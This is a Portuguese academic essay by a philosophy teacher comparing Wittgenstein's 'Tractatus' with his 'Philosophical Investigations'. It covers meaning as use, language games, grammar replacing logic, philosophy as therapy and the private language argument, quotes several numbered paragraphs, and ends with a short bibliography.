Análise do sentido e do significado do uso no domínio da linguagem nas “Investigações Filosóficas” de Wittgenstein

Análise do sentido e do significado do uso
no domínio da linguagem nas “Investigações Filosóficas” de Wittgenstein
Jaime Soares *

A análise das “Investigações
Filosóficas” de Wittgenstein, pressupõe à partida, um retrocesso à obra que se
apresenta anteriormente a esta, “O Tratado Lógico-Filosófico” e que tem no
sentido das soluções preconizadas pelo autor, a maior importância. Falar destas
duas obras, fundamentais, na actividade do autor e separadas por cerca de vinte
anos é falar de duas fases distintas de Wittgenstein, na medida em que é nas
“Investigações” que o autor vai refutar algumas das teorias defendidas no
Tratado Lógico-Filosófico”. Devemos portanto falar da primeira fase de
Wittgenstein correspondente ao “Tratado Lógico-Filosófico” e uma segunda fase
em clara oposição e numa tentativa de demarcação e refutação da primeira,
correspondente às “Investigações Filosóficas”.  Numa primeira fase, o facto de
Wittgenstein se encontrar ainda próximo de Russell, vai influenciar a sua perspectiva
relativamente à concepção neopositivista da linguagem.

No “Tratado Lógico-Filosófico”, o
isomorfismo entre linguagem e realidade, naquilo também chamado de
linguagem-retrato vai estar presente. Wittgenstein, juntamente com os
companheiros neopositivistas, defendem a ideia de que a realidade colocada fora
do homem se apresenta como um referente à linguagem. Tudo aquilo que é passível
e possível de ser enunciado encontra um referente extra-linguístico ao qual
cada coisa em particular se refere. Aquilo que é defendido com esta teoria, é
um modelo canónico de linguagem, uma perspectiva unitária da linguagem. O
significado das palavras, é-nos fornecido pela sua referência, a linguagem
teria assim uma função representativa. Nesta perspectiva a Lógica enquanto
actividade, tem um duplo papel fundamental, por um lado, porque se constitui
como a linguagem idealizante, acima e albergadora das linguagens naturais, e
por outro lado é pela Lógica que é possível alcançar a essência da Linguagem.
Os conceitos conclusivos da análise da Linguagem no “Tratado Lógico-Filosófico”
são univocidade e unidade formal.

A segunda fase de Wittgenstein, tal
como foi já referenciado, corresponde a um conjunto de refutações a algumas
teorias defendidas pelo autor no “Tratado Lógico-Filosófico”. Esta assunção do
erro, é própria dos defensores da filosofia analítica que consideravam sempre
as suas teorias abertas ao verificacionismo e por consequência à reformulação
das ideias defendidas anteriormente.

Pensar na linguagem como um conjunto
de fenómenos de denotação ou numa escrita em que, a cada letra corresponde um
som está errado, segundo Wittgenstein (§ 1). Aquilo que atribui significado à
linguagem não é a sua referência extra linguística  é o uso.  No § 1, diz
Wittgenstein, que quando uma pessoa vai às compras, levando um bilhete, onde
está escrito “cinco maçãs vermelhas”, convém verificar aquilo que se passa. Em
primeiro lugar o empregado que recebe o bilhete abre uma gaveta onde se
encontram as maçãs, seguidamente, consulta uma tabela onde se encontra a cor
“vermelho” e em relação ao cinco o empregado diz a série dos números até chegar
ao número desejado. Então aquilo que Wittgenstein afirma, é que, apesar de
haver um referente para “maçãs”, o mesmo não acontece para “vermelho” e ainda
mais dificilmente para “cinco”. Aquilo que se deve então perguntar
relativamente a “cinco”, não é pela sua denotação, mas como é utilizada a
palavra “cinco”. A questão fulcral é colocada no uso da linguagem, refutando
assim a ideia de referente ou denotação. Neste parágrafo Wittgenstein, refuta a
concepção agostiniana  da linguagem, assim como o isomorfismo, assiste-se a um
descolamento da linguagem-retrato da realidade e abre-se o caminho à visão
pluralista e pragmatista da linguagem.  O conceito de ensino ostensivo da
linguagem, (§ 6) é também utilizado para reforçar a posição de Wittgenstein,
relativamente à essência daquilo que é dito, ou seja, diz Wittgenstein que
quando pronunciamos uma frase como: “Aplico o travão ao ligar a barra com a
alavanca”, podemos entender o seu significado, mas isso não implica que a
essência daquilo que é apontado esteja contida na palavra indicada. Estes
primeiros parágrafos são a chave para a defesa da ideia de um pluralismo
linguístico. O § 7, inaugura essa ideia, também reformulada, de que,
contrariamente ao que foi enunciado no “Tratado Lógico-Filosófico”, de que a
linguagem tem um carácter generalista e unívoco, ela possui um carácter
pluralista.

Diz Wittgenstein no § 7: (…)”Também
podemos conceber que todo o processo do uso de palavras em (2) seja um daqueles
jogos por meio dos quais as crianças aprendem a sua língua natal. A estes jogos
quero chamar jogos de linguagem e falarei por vezes de uma linguagem primitiva
como sendo um jogo de linguagem” (…).

É introduzida, pelo autor a ideia de
um certo pragmatismo, a linguagem é introduzida em formas e práticas de vida,
ao mesmo tempo, que se afirma, que a linguagem idealizante, se constitui apenas
como uma das diferentes formas de linguagem. Ainda que por vezes sejamos
levados a pensar numa generalização da linguagem, é clara a defesa da ideia de
uma pluralidade dos jogos linguísticos, que se afirmam como circunstanciais ou
adaptados aos diferentes contextos implicados no âmbito da sua aplicação. A
imagem da caixa de ferramentas, aplicada no § 11, segundo a qual a nossa
linguagem seria como uma caixa de ferramentas, em que os diversos utensílios,
desempenhariam funções diferenciadas, denotam bem como Wittgenstein, defende o
seu argumento relativamente à grande diversidade dos usos das palavras.
Continua ainda, no reforço deste argumento, através da utilização da metáfora
da locomotiva no § 12. Ainda que aparentemente os manípulos possam ser
utilizados pelas mãos, todos eles possuem funções diferentes. Assiste-se, então
ao abandono duma generalização e da unificação da linguagem, bem confirmada
pelo § 18 através da metáfora da cidade.

Defende Wittgenstein no § 18: (…)”
A nossa linguagem pode ser vista como uma cidade antiga: um labirinto de
travessas e largos, casas antigas e modernas e casas com reconstruções de
diversas épocas; tudo isto rodeado de uma multiplicidade de novos bairros
periféricos com ruas regulares e as casas todas uniformizadas” (…).

A primeira estocada no “Tratado
Lógico Filosófico” foi já dada por Wittgenstein, nestes primeiros argumentos,
todavia essa desconstrução vai mais longe.

O papel da Lógica, enquanto “supra
linguagem”, colocada hierarquicamente no topo, em relação às demais, vai também
ser destruída, com a destruição da visão unificante da linguagem. Enquanto que
no “Tratado Lógico-Filosófico”, a Lógica é entendida duplamente como a
linguagem ideal, que alberga as linguagens naturais e forma de tradução da
essência da linguagem, nas “Investigações Filosóficas” ela é substituída pela
Gramática. Com a defesa do argumento da linguagem enquanto “uso” e por
inerência, a defesa dos diferentes jogos de linguagem, transporta a Lógica de
um lugar primordial para uma parte, para um dos muitos jogos de linguagem. Ela
adquire, assim, o carácter de pertença a um todo, sendo ela, apenas uma parte
desse todo. A Lógica, passa a ser apenas uma forma de, entre outras, estudar a
linguagem, porque se aplica unicamente a uma pequena parcela da linguagem. A
Gramática ocupa, nas “Investigações Filosóficas” o lugar da Lógica. Tendo em
consideração que assistimos a uma mudança no teor da análise da linguagem,
passando ela a estar directamente relacionada com os usos concretos e
particularizantes e não com os termos idealizados da linguagem, a trajectória,
passa por estudar as regras do uso dos termos. A linguagem possui domínios e
sub-domínios, não é um todo uniforme, fazer a gramática dos termos é a tradução
mais pragmática que se segue ao fazer lógica. A Gramática anula a função única
da linguagem, focalizada na representação, principal tarefa da Lógica. Em vez
disso, a função da Gramática é ir atrás dos vários usos da linguagem. O § 90,
apresenta claramente a tarefa da Gramática:

(…)“Por isso a nossa
investigação é uma investigação gramatical. E esta investigação ilumina o nosso
problema por afastar uma possível má-comprensão. Uma má compreensão que diz
respeito ao uso de palavras, provocada, entre outras coisas, por certas
analogias entre formas de expressão em domínios diferentes da nossa linguagem.
– Algumas podem ser eliminadas, substituindo uma forma de expressão por outra;
pode chamar-se a isto uma «análise» da nossa forma de expressão, porque o
processo se assemelha  às vezes a uma decomposição” (…).

Associado a esse papel da Gramática,
encontra-se a tarefa da Filosofia, que segundo Wittgenstein tem um papel
terapêutico. À Filosofia cabe-lhe a função de encontrar e apontar os problemas
linguísticos que se consideram a base dos problemas filosóficos. A ingerência
de áreas científicas, noutras áreas ao nível do conteúdo do discurso,
constitui-se segundo Wittgenstein como a principal causa dos problemas
filosóficos. Cabe à filosofia a tarefa de verificar os aspectos da linguagem e
por inerência do pensamento. O carácter terapêutico da filosofia encontra-se
bem demonstrado no § 309: (…) “Qual é a tua meta na Filosofia? Mostrar à
mosca o caminho para sair do caça moscas” (…).

Finalmente uma das mudanças também
verificadas, através da passagem do “Tratado Lógico-Filosófico” para as
“Investigações Filosóficas” é o derrube da ideia de linguagem privada, ou seja,
a ideia de que a linguagem detida pelo solipsista era também válida, acaba por
desaparecer com a teoria dos jogos de linguagem. Nas “Investigações
Filosóficas”, a defesa de uma linguagem privada é impossível, porque é
impossível seguir regras privadamente. Seguir regras, implica directamente uma
prática ou uso e é essa práxis que gera o significado. Assim, Wittgenstein
rejeita o solipsismo e o cepticismo, uma vez que as expressões psicológicas em
primeira pessoa não exprimem conteúdo cognitivo. O privilégio epistémico do
sujeito é posto em causa. Não é legítimo supor como primeiro conceptual, numa
teoria da linguagem e do pensamento, um Eu que se conhece perfeitamente. O §
243, a propósito da refutação da linguagem privada diz o seguinte: (…) “
Uma pessoa pode encorajar-se a si própria, pode dar a si própria ordens,
obedecer a si própria, dar a si própria uma repreensão ou um castigo, pôr a si
própria uma pergunta e depois formular uma resposta.

Pode também conceber-se a
existência de um género de pessoas que só falam em monólogo, que acompanham as
suas actividades de conversas que mantêm consigo próprias.- Seria possível um
investigador, que as observasse e escutasse estas conversas, traduzir a
linguagem delas na nossa. (Ele estaria por isso em condições de prever
correctamente as acções destas pessoas, uma vez que também as ouve fazer
projectos e tomar decisões).

Pode também conceber-se uma
linguagem em que uma pessoa pudesse, para seu próprio uso, tomar nota ou dar
uma expressão oral às suas vivências interiores, aos seus sentimentos, estados
de espírito, etc.? Não podemos também fazer na nossa? – Mas não é isso o que eu
quero dizer. A referência das palavras daquela linguagem deve ser considerada
ser aquilo de que só a pessoa que fala pode saber; as suas sensações imediatas,
privadas. Assim, uma outra pessoa não pode compreender esta linguagem.”(…)

*
Jaime Soares (Professor de Filosofia, Psicologia e Sociologia)
Licenciado em Filosofia Faculdade de Letras do Porto (Portugal)
Pós Graduação e Mestrado em Estudos Portugueses Interdisciplinares pela Universade Aberta (Portugal).

BIBLIOGRAFIA:

ABBAGNANO, Nicola, História da
Filosofia, Vol.14, 4ª edição, Lisboa, Editorial  Presença, 1993, pp.7-26

CORDÓN, Juan Manuel Navarro;
MARTINEZ, Tomas Calvo, História da Filosofia, Vol.3, Lisboa, Edições 70, 1998,
pp.129-144

LOGOS, Enciclopédia Luso-Brasileira
de Filosofia, Vol.5, Lisboa, Verbo, 1992, pp.642-647

WITTGENSTEIN, Ludwig, 3ª edição,
Lisboa, Fundação Calouste Gulbenkian, 2002, pp.611

   

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